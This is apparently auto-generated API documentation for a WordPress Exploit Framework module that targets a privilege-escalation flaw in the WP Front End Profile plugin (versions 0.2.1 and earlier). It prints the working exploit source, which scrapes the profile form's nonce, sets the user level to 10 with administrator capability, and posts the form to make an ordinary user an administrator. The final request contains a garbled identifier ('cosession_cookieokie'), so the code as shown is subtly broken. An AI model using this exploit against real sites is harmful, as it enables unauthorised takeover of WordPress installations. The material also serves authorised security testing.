Class: Wpxf::Auxiliary::WpFrontEndProfilePrivilegeEscalation

Inherits:
Module
  • Object
show all
Includes:
Wpxf
Defined in:
lib/wpxf/modules/auxiliary/priv_esc/wp_front_end_profile_privilege_escalation.rb

Constant Summary

Constants included from WordPress::Options

WordPress::Options::WP_OPTION_CONTENT_DIR

Constants included from Net::HttpOptions

Net::HttpOptions::HTTP_OPTION_BASIC_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_CLIENT_TIMEOUT, Net::HttpOptions::HTTP_OPTION_FOLLOW_REDIRECT, Net::HttpOptions::HTTP_OPTION_HOST, Net::HttpOptions::HTTP_OPTION_HOST_VERIFICATION, Net::HttpOptions::HTTP_OPTION_MAX_CONCURRENCY, Net::HttpOptions::HTTP_OPTION_PEER_VERIFICATION, Net::HttpOptions::HTTP_OPTION_PORT, Net::HttpOptions::HTTP_OPTION_PROXY, Net::HttpOptions::HTTP_OPTION_PROXY_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_SSL, Net::HttpOptions::HTTP_OPTION_TARGET_URI, Net::HttpOptions::HTTP_OPTION_USER_AGENT, Net::HttpOptions::HTTP_OPTION_VHOST

Instance Attribute Summary

Attributes inherited from Module

#active_workspace, #event_emitter, #payload, #session_cookie

Attributes included from Options

#datastore, #options

Instance Method Summary collapse

Methods included from Wpxf

app_path, build_module_list, change_stdout_sync, custom_modules_path, data_directory, databases_path, gemspec, home_directory, load_custom_modules, load_module, modules_path, payloads_path, version

Methods inherited from Module

#aux_module?, #can_execute?, #check_wordpress_and_online, #cleanup, #exploit_module?, #missing_options, #set_option_value, #unset_option

Methods included from Db::Credentials

#store_credentials

Methods included from ModuleAuthentication

#authenticate_with_wordpress

Methods included from WordPress::Urls

#wordpress_url_admin, #wordpress_url_admin_ajax, #wordpress_url_admin_options, #wordpress_url_admin_post, #wordpress_url_admin_profile, #wordpress_url_admin_update, #wordpress_url_atom, #wordpress_url_author, #wordpress_url_comments_post, #wordpress_url_login, #wordpress_url_new_user, #wordpress_url_opml, #wordpress_url_plugin_install, #wordpress_url_plugin_upload, #wordpress_url_plugins, #wordpress_url_post, #wordpress_url_rdf, #wordpress_url_readme, #wordpress_url_rest_api, #wordpress_url_rss, #wordpress_url_sitemap, #wordpress_url_themes, #wordpress_url_uploads, #wordpress_url_wp_content, #wordpress_url_xmlrpc

Methods included from WordPress::Options

#wp_content_dir

Methods included from WordPress::Login

#valid_wordpress_cookie?, #wordpress_login, #wordpress_login_post_body

Methods included from WordPress::Fingerprint

#check_plugin_version_from_changelog, #check_plugin_version_from_readme, #check_theme_version_from_readme, #check_theme_version_from_style, #check_version_from_custom_file, #wordpress_and_online?, #wordpress_version

Methods included from Net::HttpClient

#base_http_headers, #base_uri, #download_file, #execute_delete_request, #execute_get_request, #execute_post_request, #execute_put_request, #execute_queued_requests, #execute_request, #full_uri, #initialize_advanced_options, #initialize_options, #max_http_concurrency, #normalize_relative_uri, #normalize_uri, #queue_request, #target_host, #target_port, #target_uri

Methods included from Net::TyphoeusHelper

#advanced_typhoeus_options, #create_typhoeus_request, #create_typhoeus_request_options, #standard_typhoeus_options

Methods included from Net::UserAgent

#clients_by_frequency, #random_browser_and_os, #random_chrome_platform_string, #random_firefox_platform_string, #random_firefox_version_string, #random_iexplorer_platform_string, #random_opera_platform_string, #random_processor_string, #random_safari_platform_string, #random_time_string, #random_user_agent

Methods included from Versioning::OSVersions

#random_nt_version, #random_osx_version

Methods included from Versioning::BrowserVersions

#random_chrome_build_number, #random_chrome_version, #random_ie_version, #random_opera_version, #random_presto_version, #random_presto_version2, #random_safari_build_number, #random_safari_version, #random_trident_version

Methods included from Options

#all_options_valid?, #get_option, #get_option_value, #missing_options, #normalized_option_value, #option_valid?, #option_value?, #register_advanced_options, #register_evasion_options, #register_option, #register_options, #scoped_option_change, #set_option_value, #unregister_option, #unset_option

Methods included from OutputEmitters

#emit_error, #emit_info, #emit_success, #emit_table, #emit_warning

Methods included from ModuleInfo

#emit_usage_info, #module_author, #module_date, #module_desc, #module_description_preformatted, #module_name, #module_references, #update_info

Constructor Details

#initialize ⇒ WpFrontEndProfilePrivilegeEscalation

Returns a new instance of WpFrontEndProfilePrivilegeEscalation.



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# File 'lib/wpxf/modules/auxiliary/priv_esc/wp_front_end_profile_privilege_escalation.rb', line 6

def initialize
  super

  update_info(
    name: 'WP Front End Profile <= 0.2.1 Privilege Escalation',
    desc: %(
      The WP Front End Profile plugin, in versions <= 0.2.1, allows authenticated
      users of any user level to escalate their user role to an administrator.
    ),
    author: [
      'rastating' # WPXF module
    ],
    references: [
      ['WPVDB', '8620']
    ],
    date: 'Sep 15 2016'
  )

  register_options([
    StringOption.new(
      name: 'profile_form_path',
      desc: 'The path to the page containing the profile editor form',
      required: true
    )
  ])
end

Instance Method Details

#check ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/priv_esc/wp_front_end_profile_privilege_escalation.rb', line 33

def check
  check_plugin_version_from_readme('wp-front-end', '0.2.2')
end

#fetch_profile_form ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/priv_esc/wp_front_end_profile_privilege_escalation.rb', line 45

def fetch_profile_form
  res = nil

  scoped_option_change('follow_http_redirection', true) do
    res = execute_get_request(url: profile_form_url, cookie: session_cookie)
  end

  res
end

#form_fields_with_default_values ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/priv_esc/wp_front_end_profile_privilege_escalation.rb', line 55

def form_fields_with_default_values
  res = fetch_profile_form
  return nil unless res && res.code == 200

  fields = {}
  res.body.scan(/<input.+?name="(.+?)".+?value="(.*?)".*?>/i) do |match|
    if match[0].start_with?('wpfep_nonce_name', '_wp_http_referer', 'profile[')
      emit_info "Found field #{match[0]}", true
      fields[match[0]] = match[1]
    end
  end

  fields
end

#profile_form_url ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/priv_esc/wp_front_end_profile_privilege_escalation.rb', line 41

def profile_form_url
  normalize_uri(full_uri, datastore['profile_form_path'])
end

#requires_authentication ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/priv_esc/wp_front_end_profile_privilege_escalation.rb', line 37

def requires_authentication
  true
end

#run ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/priv_esc/wp_front_end_profile_privilege_escalation.rb', line 70

def run
  return false unless super

  emit_info 'Requesting profile editor form...'
  form_fields = form_fields_with_default_values

  if form_fields.nil?
    emit_error 'Failed to retrieve the profile form'
    return false
  end

  form_fields['profile[wp_user_level]'] = 10
  form_fields['profile[wp_capabilities][administrator]'] = 1
  form_fields['profile[wpfep_save]'] = 'Update Profile'

  emit_info 'Elevating privileges...'
  execute_post_request(
    url: profile_form_url,
    cookie: cosession_cookieokie,
    body: form_fields
  )
end